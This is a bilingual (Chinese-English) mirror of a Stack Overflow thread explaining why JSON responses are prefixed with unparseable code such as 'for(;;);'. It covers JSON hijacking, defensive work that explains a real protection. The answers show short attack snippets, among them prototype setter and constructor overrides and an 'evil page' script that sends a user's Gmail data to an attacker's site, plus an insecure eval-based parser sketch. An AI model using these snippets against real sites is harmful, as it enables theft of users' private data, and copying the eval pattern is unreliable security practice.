Javascript 为什么人们会写像“throw 1; <dont be evil>”和“for(;;);”这样的代码 在 json 响应之前?
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/3146798/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
Why do people put code like "throw 1; <dont be evil>" and "for(;;);" in front of json responses?
提问by Christopher Tarquini
Possible Duplicate:
Why does Google prepend while(1); to their JSON responses?
Google returns json like this:
谷歌返回这样的json:
throw 1; <dont be evil> { foo: bar}
and Facebooks ajax has json like this:
和 Facebook 的 ajax 有这样的 json:
for(;;); {"error":0,"errorSummary": ""}
- Why do they put code that would stop execution and makes invalid json?
- How do they parse it if it's invalid and would crash if you tried to eval it?
- Do they just remove it from the string (seems expensive)?
- Are there any security advantages to this?
- 他们为什么要放置会停止执行并生成无效 json 的代码?
- 如果它无效,他们如何解析它并且如果您尝试评估它会崩溃?
- 他们只是从字符串中删除它吗(看起来很贵)?
- 这有什么安全优势吗?
In response to it being for security purposes:
响应它是出于安全目的:
If the scraper is on another domain they would have to use a scripttag to get the data because XHR won't work cross-domain. Even without the for(;;);how would the attacker get the data? It's not assigned to a variable so wouldn't it just be garbage collected because there's no references to it?
如果抓取工具在另一个域上,他们将不得不使用script标签来获取数据,因为 XHR 无法跨域工作。即使没有for(;;);攻击者如何获取数据?它没有分配给变量,所以它不会因为没有对它的引用而被垃圾收集吗?
Basically to get the data cross domain they would have to do
基本上要获得跨域的数据,他们将不得不做
<script src="http://target.com/json.js"></script>
But even without the crash script prepended the attacker can't use any of the Json data without it being assigned to a variable that you can access globally (it isn't in these cases). The crash code effectivly does nothing because even without it they have to use server sided scripting to use the data on their site.
但即使没有崩溃脚本,攻击者也无法使用任何 Json 数据,除非将其分配给您可以全局访问的变量(在这些情况下不是这样)。崩溃代码实际上什么也没做,因为即使没有它,他们也必须使用服务器端脚本来使用他们站点上的数据。
采纳答案by bobince
Even without the
for(;;);how would the attacker get the data?
即使没有
for(;;);攻击者如何获取数据?
Attacks are based on altering the behaviour of the built-in types, in particular Objectand Array, by altering their constructor function or its prototype. Then when the targeted JSON uses a {...}or [...]construct, they'll be the attacker's own versions of those objects, with potentially-unexpected behaviour.
攻击是基于改变行为的内置类型,特别是Object和Array,通过改变它们的构造函数或其prototype。然后,当目标 JSON 使用{...}or[...]构造时,它们将是攻击者自己的这些对象版本,具有潜在的意外行为。
For example, you can hack a setter-property into Object, that would betray the values written in object literals:
例如,您可以将 setter-property 破解为Object,这将背叛以对象文字写入的值:
Object.prototype.__defineSetter__('x', function(x) {
alert('Ha! I steal '+x);
});
Then when a <script>was pointed at some JSON that used that property name:
然后当 a<script>指向一些使用该属性名称的 JSON 时:
{"x": "hello"}
the value "hello"would be leaked.
价值"hello"将被泄露。
The way that array and object literals cause setters to be called is controversial. Firefox removed the behaviour in version 3.5, in response to publicised attacks on high-profile web sites. However at the time of writing Safari (4) and Chrome (5) are still vulnerable to this.
数组和对象字面量导致调用 setter 的方式是有争议的。Firefox 在 3.5 版本中删除了该行为,以应对针对知名网站的公开攻击。然而,在撰写本文时,Safari (4) 和 Chrome (5) 仍然容易受到此攻击。
Another attack that all browsers now disallow was to redefine constructor functions:
现在所有浏览器都不允许的另一种攻击是重新定义构造函数:
Array= function() {
alert('I steal '+this);
};
[1, 2, 3]
And for now, IE8's implementation of properties (based on the ECMAScript Fifth Edition standard and Object.defineProperty) currently does not work on Object.prototypeor Array.prototype.
目前,IE8 的属性实现(基于 ECMAScript 第五版标准和Object.defineProperty)目前不适用于Object.prototype或Array.prototype。
But as well as protecting past browsers, it may be that extensions to JavaScript cause more potential leaks of a similar kind in future, and in that case chaff should protect against those too.
但是除了保护过去的浏览器之外,JavaScript 的扩展将来可能会导致更多类似的潜在泄漏,在这种情况下,chaff 也应该防止这些泄漏。
回答by Jesse Dhillon
Consider that, after checking your GMail account, that you go visit my evil page:
考虑一下,在检查您的 GMail 帐户后,您会访问我的邪恶页面:
<script type="text/javascript">
Object = function() {
ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>
What will happen now is that the Javascript code that comes from Google -- which the asker thought would be benign and immediately fall out of scope -- will actually be posted to my evil site. Suppose that the URL requested in the script tag sends (because your browser will present the proper cookie, Google will correctly think that you are logged in to your inbox):
现在会发生的是来自 Google 的 Javascript 代码——提问者认为这些代码是良性的,会立即超出范围——实际上会被发布到我的邪恶网站上。假设脚本标签中请求的 URL 发送(因为您的浏览器会显示正确的 cookie,Google 会正确地认为您已登录到您的收件箱):
({
messages: [
{
id: 1,
subject: 'Super confidential information',
message: 'Please keep this to yourself: the password is 42'
},{
id: 2,
subject: 'Who stole your password?',
message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
}
]
})
Now, I will be posting a serialized version of this object to my evil server. Thank you!
现在,我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢!
The way to prevent this from happening is to cruft up your JSON responses, and decruft them when you, from the same domain, can manipulate that data. If you like this answer, please accept the one posted by bobince.
防止这种情况发生的方法是整理您的 JSON 响应,并在您来自同一个域时可以操作该数据时对它们进行整理。如果您喜欢这个答案,请接受 bobince 发布的答案。
回答by rook
EDIT
编辑
These strings are commonly referred to as an "unparseable cruft" and they are used to patch an information leakage vulnerability that affects the JSON specification. This attack is real world and a vulnerability in gmail was discovered by Jeremiah Grossman. Mozilla also believes this to be a vulnerability in the JSON specification and it has been patched in Firefox 3. However because this issue still affects other browsers this "unparseable cruft" is required because it is a compatible patch.
这些字符串通常被称为“无法解析的垃圾”,它们用于修补影响 JSON 规范的信息泄漏漏洞。这种攻击是真实存在的,Jeremiah Grossman 发现了 gmail 中的一个漏洞。Mozilla 还认为这是 JSON 规范中的一个漏洞,并且已经在 Firefox 3 中进行了修补。然而,因为这个问题仍然影响其他浏览器,所以需要“无法解析的垃圾”,因为它是一个兼容的补丁。
Bobice's answer has a technical explanation of this attack and it is correct.
Bobice 的回答对这次攻击有技术解释,而且是正确的。
回答by dan04
How do they parse it if it's invalid and would crash if you tried to eval it?
如果它无效,他们如何解析它并且如果您尝试评估它会崩溃?
It's a featurethat it would crash if you tried to evalit. evalallows arbitary JavaScript code, which could be used for a cross-site scripting attack.
这是一个功能,如果您尝试eval它,它会崩溃。 eval允许任意 JavaScript 代码,可用于跨站点脚本攻击。
Do they just remove it from the string (seems expensive)?
他们只是从字符串中删除它吗(看起来很贵)?
I imagine so. Probably something like:
我想是这样。大概是这样的:
function parseJson(json) {
json = json.replace("throw 1; <dont be evil>", "");
if (/* regex to validate the JSON */) {
return eval(json);
} else {
throw "XSS";
}
}
The "don't be evil" cruft prevents developers from using evaldirectly instead of a more secure alternative.
“不作恶”的粗话阻止开发人员eval直接使用,而不是更安全的替代方案。

